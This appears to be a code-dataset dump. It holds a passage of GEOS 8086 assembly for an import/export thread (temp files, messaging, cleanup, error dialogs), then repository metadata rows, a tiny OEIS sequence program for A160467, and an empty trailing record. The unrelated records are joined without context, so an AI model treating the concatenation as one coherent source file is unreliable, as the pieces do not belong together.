cmp ax, ERROR_SHARING_VIOLATION
je error
cmp ax, ERROR_FILE_IN_USE
je error
cmp ax, ERROR_FILE_FORMAT_MISMATCH
je error
inc cx ; unacceptable error - abort
error:
stc
done:
ret
CreateTempFileNormal endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateTempFileVM
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a temporary VM file
CALLED BY: CreateTempFile
PASS: DS:DX = Filename
RETURN: AX = File handle
Carry = Clear (success)
- or -
CX = 0 (continue searching)
Carry = Set (error)
- or -
CX = 1 (stop searching, unacceptable error condition)
Carry = Set (error)
DESTROYED: BX
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 7/ 2/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CreateTempFileVM proc near
; Create & open a new VM file
;
mov ax, (VMO_CREATE_ONLY shl 8)
clr cx ; default compression threshold
call VMOpen ; VM file handle => AX
xchg ax, bx ; file handle => AX, error => BX
jnc done
clr cx ; assume acceptable error
cmp bx, VM_FILE_EXISTS
je error
cmp bx, VM_SHARING_DENIED
je error
cmp bx, VM_OPEN_INVALID_VM_FILE
je error
cmp bx, VM_FILE_FORMAT_MISMATCH
je error
inc cx ; unacceptable error - abort
error:
stc
done:
ret
CreateTempFileVM endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendMessageToThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Sends a message to the back of an Impex thread's queue
PASS: AX = Message to send
CX, DX, BP, SI = Data for message
RETURN: Nothing
DESTROYED: Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 8/ 8/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendMessageToThread proc near
uses bx, di
.enter
call GetCurrentThreadHandle ; bx <- thread handle
mov di, mask MF_FORCE_QUEUE
call ObjMessage
.leave
ret
SendMessageToThread endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetCurrentThreadHandle
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the current thread handle
CALLED BY: GLOBAL
PASS: SS = Impex thread's stack segment
RETURN: BX = Current thread handle
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 8/ 9/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetCurrentThreadHandle proc far
uses ax
.enter
mov ax, TGIT_THREAD_HANDLE
clr bx
call ThreadGetInfo ; ax <- thread handle
mov_tr bx, ax
.leave
ret
GetCurrentThreadHandle endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ResetFilePos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set file position to zero
CALLED BY: INTERNAL
PASS: BX = File handle
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/ 2/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResetFilePos proc near
uses ax, cx, dx
.enter
EC < call ECCheckFileHandle ; check file handle >
clr cx, dx ; cx:dx = offset = 0,
mov al, cl ; al = 0, FILE_POS_START
call FilePos
.leave
ret
ResetFilePos endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendMessageToApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message to an application. The application will, after
completing it's work, send a message back via the appropriate
Import/ExportControlClass object
CALLED BY: INTERNAL
PASS: DS = ImpexThreadInfo segment
AX = Message to return to Import/ExportControl class
DX:CX = VMChain holding transfer format
BX = ClipboardItemFormat
SI = ManufacturerID
RETURN: DS = ImpexThreadInfo segment (may have moved)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Note: All the above arguments may not need to be passed
to this routine, depending upon whether we are
importing or exporting.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/31/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendMessageToApplication proc near
uses ax, bx, cx, dx, di, si, bp
.enter
; If the application is already detaching, then
; abort this operation right now
;
test ds:[ITI_state], mask ITS_APP_DETACHING
stc
jnz done
; Put a ImpexTranslationParams struct on the stack.
;
push bx ; ClipboardItemFormat
push si ; ManufacturerId
push ds:[ITI_handle] ; ITP_internal.high
call GetCurrentThreadHandle
push bx ; ITP_internal.low
pushdw dxcx ; ITP_transferVMChain
push ds:[ITI_xferVMFile] ; ITP_transferVMFile
push ds:[ITI_formatDesc].IFD_dataClass ; ITP_dataClass
push ax ; ITP_returnMsg
pushdw ds:[ITI_impexOD] ; ITP_returnOD
mov bp, sp ; ImpexTranslationParams =>SS:BP
mov dx, size ImpexTranslationParams
; Record a message to be sent to application's destination OD
;
mov ax, ds:[ITI_appMessage]
clr bx, si
mov di, mask MF_STACK or mask MF_RECORD
call ObjMessage ; event handle => DI
add sp, size ImpexTranslationParams
; Now send this off to be processed, in case we have
; TravelOptions instead of an actual OD
;
mov ax, MSG_GEN_OUTPUT_ACTION
mov cx, ds:[ITI_appDest].handle
mov dx, ds:[ITI_appDest].chunk
mov bp, di ; event handle => DI
movdw bxsi, ds:[ITI_impexOD] ; generic object => BX:SI
push ds:[ITI_handle]
call ImpexThreadInfoUnlockV
clr di
call ObjMessage
pop bx
call ImpexThreadInfoPLock
clc
done:
.leave
ret
SendMessageToApplication endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DestroyThread
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the import/export thread
CALLED BY: DS = ImpexThreadInfo segment
PASS: Nothing
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DestroyThread proc near
uses ax, cx, dx, bp
.enter
; See if we need to do anything
;
test ds:[ITI_state], mask ITS_APP_DETACHING
jnz done
or ds:[ITI_state], mask ITS_THREAD_DETACHING
; Send off detach message to start the detach process
;
mov cx, ds:[ITI_handle] ; ImpexthreadInfo handle => CX
movdw dxbp, ds:[ITI_impexOD] ; destination object => DX:BP
mov ax, MSG_META_DETACH
call SendMessageToThread
done:
.leave
ret
DestroyThread endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CleanUpImpexThreadInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clean up all resources referred to by an ImpexThreadInfo
buffer
CALLED BY: INTERNAL
PASS: DS:0 = ImpexThreadInfo
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 8/ 8/91 Initial version
jenny 9/04/91 Cleaned up
Don 6/ 1/92 Initial version
jenny 12/14/92 Added announceFormat
jenny 2/02/93 Added cancelIfError
Don 10/17/94 Delete export file if error
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CleanUpImpexThreadInfo proc far
uses ax, bx, cx, dx, di, si, bp
.enter
; Close the source/destination file
;
clr bx
xchg bx, ds:[ITI_srcDestFile]
tst bx
jz freeTransferFile
clr al ; we'll handle (ignore) errors
call FileClose ; close the source/dest file
; If we have both error condition and am in the middle of
; exporting, then delete the destination file. For this
; to be true. ITS_ERROR must be set and ITS_ACTION must
; be set to ITA_EXPORT (which is defined to be 1).
;
CheckHack <ITA_EXPORT eq 1>
test ds:[ITI_state], mask ITS_ERROR or mask ITS_ACTION
jz freeTransferFile ; if neither set, do nothing
jnp freeTransferFile ; if only one is set, do nothing
call GetAndSetPath ; switch to correct directory
jc doneDeleteFile ; if error, don't delete file
mov dx, offset ITI_srcDestName
call FileDelete ; delete the destination file
doneDeleteFile:
call FilePopDir ; bracket for GetAndSetPath()
; Free the transfer VM file
freeTransferFile:
clr bx
xchg bx, ds:[ITI_xferVMFile] ; VM file to delete => BX
tst bx
jz destroyNotify
call FilePushDir
mov ax, SP_WASTE_BASKET
call FileSetStandardPath
mov al, FILE_NO_ERRORS
call VMClose ; close the VM file
mov dx, offset ITI_xferVMFileName
call FileDelete ; delete transfer VM file
call FilePopDir
; Bring down the notification dialog box, if needed
destroyNotify:
call NotifyDialogDestroy
; Allow input to continue to the application, if needed
;
call InputResume
; Delete any format options
;
clr bx
xchg bx, ds:[ITI_formatOptions]
tst bx
jz freeLibrary
call MemFree
; Free the translation library
freeLibrary:
if ALLOW_FLOPPY_BASED_LIBS
; We need to have the thread which loaded the library free it.
;
clr cx
xchg cx, ds:[ITI_libraryHandle]
jcxz announceFormat
movdw bxsi, ds:[ITI_impexOD]
mov ax, MSG_IMPORT_EXPORT_FREE_LIBRARY_AND_FORMAT_UI
clr di
call ObjMessage
else
clr bx
xchg bx, ds:[ITI_libraryHandle]
tst bx
jz announceFormat
call GeodeFreeLibrary
endif
announceFormat:
; If this was an import for which the user selected No
; Idea as the format of the source file, tell the user
; the actual format of that file.
;
test ds:[ITI_state], mask ITS_WILL_ANNOUNCE_FORMAT
jz cancelIfError
mov cx, ds
mov dx, offset ITI_srcDestName
mov si, offset ITI_formatName
mov ax, IE_ANNOUNCING_FORMAT
call DisplayErrorAndBlock
cancelIfError:
; If this is a failed import, we need to send off a
; MSG_IMPORT_CONTROL_CANCEL to the controller so as to
; return to the app's New/Open dialog box. If this is
; a failed export, well, the message won't hurt anything.
;
movdw bxsi, ds:[ITI_impexOD]
clr cx ; assume failure
test ds:[ITI_state], mask ITS_ERROR
jnz sendFinal
dec cx ; success!
mov ax, MSG_IMPORT_CONTROL_CANCEL
clr di
call ObjMessage
sendFinal:
mov ax, MSG_IMPORT_EXPORT_OPERATION_COMPLETED
clr di
call ObjMessage
.leave
ret
CleanUpImpexThreadInfo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Input ignoring
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputIgnore
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Tell the application to ignore input, if desired
CALLED BY: INTERNAL
PASS: DS = ImpexThreadInfo segment
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputIgnore proc far
uses ax
.enter
tst ds:[ITI_ignoreInput]
jz done ; if FALSE, do nothing
dec ds:[ITI_inputIgnored] ; set "ignored" boolean TRUE
mov ax, MSG_GEN_APPLICATION_IGNORE_INPUT
call InputIgnoreResumeCommon
mov ax, MSG_GEN_APPLICATION_MARK_BUSY
call InputIgnoreResumeCommon
done:
.leave
ret
InputIgnore endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputResume
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Tell the application to resume input, if desired
CALLED BY: INTERNAL
PASS: DS = ImpexThreadInfo segment
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputResume proc near
uses ax
.enter
tst ds:[ITI_inputIgnored]
jz done ; if FALSE, do nothing
inc ds:[ITI_inputIgnored] ; set back to FALSE
mov ax, MSG_GEN_APPLICATION_ACCEPT_INPUT
call InputIgnoreResumeCommon
mov ax, MSG_GEN_APPLICATION_MARK_NOT_BUSY
call InputIgnoreResumeCommon
done:
.leave
ret
InputResume endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputIgnoreResumeCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Tell an application to ignore or resume input
CALLED BY: InputIgnore, InputResume
PASS: DS = ImpexThreadInfo segment
AX = Message to send to application object
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/22/91 Initial version
Don 6/ 1/92 Changed a bit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InputIgnoreResumeCommon proc near
uses bx, di, si
.enter
movdw bxsi, ds:[ITI_appObject]
call ObjMessage_impex_send
.leave
ret
InputIgnoreResumeCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Notification dialog box
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NotifyDialogCreate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a notification dialog box
CALLED BY: INTERNAL
PASS: DS = ImpexThreadInfo segment
CX:DX = Notify dialog box template
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NotifyDialogCreate proc near
uses ax, bx, cx, dx, di, si, bp
.enter
; Duplicate the resource
;
mov bx, ds:[ITI_impexOD].handle
EC < call ECCheckMemHandle >
push cx ; save notify dialog resource
mov ax, MGIT_EXEC_THREAD
call MemGetInfo
mov_tr cx, ax ; thread to run dialog => CX
call MemOwner ; owner of dialog => BX
mov_tr ax, bx
pop bx ; restore notify dialog resource
call ObjDuplicateResource ; new block => BX
mov cx, bx
movdw ds:[ITI_notifyDialog], cxdx
; Make it a child of the Import/Export object
;
mov ax, MSG_GEN_ADD_CHILD
movdw bxsi, ds:[ITI_impexOD]
mov bp, CCO_LAST
call ObjMessage_impex_send
; Set new UI usable
;
mov ax, MSG_GEN_SET_USABLE
movdw bxsi, cxdx ; dialog box OD => BX:SI
mov dl, VUM_DELAYED_VIA_UI_QUEUE
call ObjMessage_impex_send
; Make new UI visible
;
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjMessage_impex_send
.leave
ret
NotifyDialogCreate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NotifyDialogDestroy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the notify dialog box
CALLED BY: INTERNAL
PASS: DS = ImpexThreadInfo segment
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NotifyDialogDestroy proc near
uses ax, bx, cx, dx, di, si, bp
.enter
; Get the handle of the dialog box
;
movdw bxsi, ds:[ITI_notifyDialog]
clrdw ds:[ITI_notifyDialog]
tst bx ; any dialog box ??
jz done ; nope, so we're done
; Dismiss notification box
;
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
mov cx, IC_DISMISS
call ObjMessage_impex_send
; Set the object now usable, and remove it from the tree
;
mov ax, MSG_GEN_DESTROY_AND_FREE_BLOCK
call ObjMessage_impex_send
done:
.leave
ret
NotifyDialogDestroy endp
ObjMessage_impex_send proc near
clr di
call ObjMessage
ret
ObjMessage_impex_send endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Status Update
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImpexUpdateImportExportStatus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Apprise the user of the staus of an import/export
CALLED BY: GLOBAL
PASS: DS:SI = Mesage to be displayed
(NULL string to use existing message)
AX = Percentage complete (0->100)
(-1 to not display percentage indicator)
RETURN: AX = Boolean indicating whether or not import/export
should continue
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
* Find ImpexThreadInfo
* Send messages to dialog
* See if user has requested stop of import/export
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 3/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImpexUpdateImportExportStatus proc far
.enter
; For now, do nothing but return TRUE to continue
;
mov ax, TRUE
.leave
ret
ImpexUpdateImportExportStatus endp
ImpexCode ends
ErrorCode segment resource
include mainStrings.rdef ; include error strings
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Error Display
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DisplayTransError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Display a TransError returned by a translation library
CALLED BY: INTERNAL
PASS: DS:0 = ImpexThreadInfo
AX = TransError
BX = Custom error message (if AX = TE_CUSTOM)
RETURN: Nothing
DESTROYED: AX, BX
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 6/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DisplayTransError proc far
uses cx, bp, di, es
.enter
; Lock the error string, and display it to the user
;
EC < cmp ax, TE_NO_ERROR ; no error ?? >
EC < ERROR_E IMPEX_PASSED_NO_ERROR_TO_DISPLAY_TRANS_ERROR >
EC < cmp ax, TransError ; maximum error ?? >
EC < ERROR_AE IMPEX_PASSED_ILLEGAL_TRANS_ERROR >
cmp ax, TE_CUSTOM
je customError
dec ax
shl ax, 1
mov bp, ax ; word offset => BP
mov bx, handle TransErrorStrings
call MemLock
mov es, ax
assume es:TransErrorStrings
mov di, es:[TransErrorTable]
assume es:nothing
mov di, es:[di][bp] ; error chunk => DI
mov di, es:[di] ; error string => ES:DI
clr cx ; no block to free later
common:
mov bp, IMPEX_ERROR ; flags => BP
call DisplayErrorCommon
call MemUnlock ; unlock block in BX
jcxz exit ; if no block to free, jump
mov bx, cx
call MemFree
exit:
.leave
ret
; We have a custom error message. Lock it down
customError:
call MemLock
mov es, ax
clr di ; error message => ES:DI
mov cx, bx ; handle to free => CX
jmp common
DisplayTransError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DisplayErrorAndBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do error dialog box
CALLED BY: GLOBAL
PASS: DS:0 = ImpexThreadInfo
AX = ImpexError
CX:DX = first optional string argument
DS:SI = second optional string argument
RETURNED: AX = InteractionCommand
Carry = Set
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 3/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DisplayErrorAndBlock proc far
uses bx, bp, di, es
.enter
; Set things up to display an error
;
test ds:[ITI_state], mask ITS_TRANSPARENT_IMPORT_EXPORT
jz lockString
cmp ax, IE_NO_IDEA_FORMAT
jne lockString
mov ax, IE_TRANSPARENT_NO_IDEA_FORMAT
lockString:
mov_tr bp, ax ; ImpexError => BP
call LockImpexError ; error string => ES:DI, flags => AX
mov_tr bp, ax ; flags => BP
mov ax, IC_NULL ; default return value => AX
; Display an error dialog box to the user
;
call DisplayErrorCommon
call MemUnlock ; unlock Strings resource
stc ; return carry set
.leave
ret
DisplayErrorAndBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DisplayErrorCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do error dialog box
CALLED BY: INTERNAL DisplayTransError
DisplayErrorAndBlock
PASS: DS:0 = ImpexThreadInfo
ES:DI = error string
CX:DX = first optional string argument
DS:SI = second optional string argument
AX = IC_NULL
BP = word value for SDP_customFlags
RETURNED: AX = InteractionCommand
Carry = Set
DESTROYED: DI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 3/91 Initial version
jenny 12/14/92 Added format announcement stuff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DisplayErrorCommon proc near
uses bx, si
.enter
; If the app is detaching, forget it.
;
test ds:[ITI_state], mask ITS_APP_DETACHING
jnz done
; If the thread is detaching, forget it unless the
; information to be displayed is an announcement of
; the format of the source file, in which case the
; thread is bound to be detaching.
;
test ds:[ITI_state], mask ITS_WILL_ANNOUNCE_FORMAT
jnz displayIt
test ds:[ITI_state], mask ITS_THREAD_DETACHING
jnz done
; If we're displaying an error message, the import or export
; has failed. We will need to know this later.
;
cmp bp, IMPEX_ERROR
jnz displayIt
or ds:[ITI_state], mask ITS_ERROR
displayIt:
;
; Release the semaphore on this thing while we've got the
; dialog up, as, according to Don, no one will resize the
; block, and we want to avoid a weird deadlock case that
; happens when the app is detaching and trying to grab the
; block while we're blocked holding it waiting for the dialog
; to finish. Whee.
;
mov bx, ds:[ITI_handle]
call HandleV
push bx
mov_tr ax, bp
push ax
sub sp, size StandardDialogParams
mov bp, sp
mov ss:[bp].SDP_customFlags, ax
movdw ss:[bp].SDP_customString, esdi
movdw ss:[bp].SDP_stringArg1, cxdx
movdw ss:[bp].SDP_stringArg2, dssi
clr ss:[bp].SDP_helpContext.segment
call UserStandardDialog
pop bp
;
; Re-grab the semaphore for our caller's benefit.
;
pop bx
call HandleP
done:
.leave
ret
DisplayErrorCommon endp
ErrorCode ends
| 24.612618
| 79
| 0.578756
|
3372d5c0ea62cbec25bb297794064ea23adb8acb
| 662
|
asm
|
Assembly
|
programs/oeis/160/A160467.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/160/A160467.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/160/A160467.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A160467: a(n) = 1 if n is odd; otherwise, a(n) = 2^(k-1) where 2^k is the largest power of 2 that divides n.
; 1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,32,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,64,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,32,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1
bin $0,3
add $0,1
mov $1,$0
gcd $1,32768
| 82.75
| 508
| 0.531722
|
38eddc45d94520492352a63f17462c7c85c298bd
| 364
|
asm
|
Assembly
|
oeis/021/A021431.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/021/A021431.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/021/A021431.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
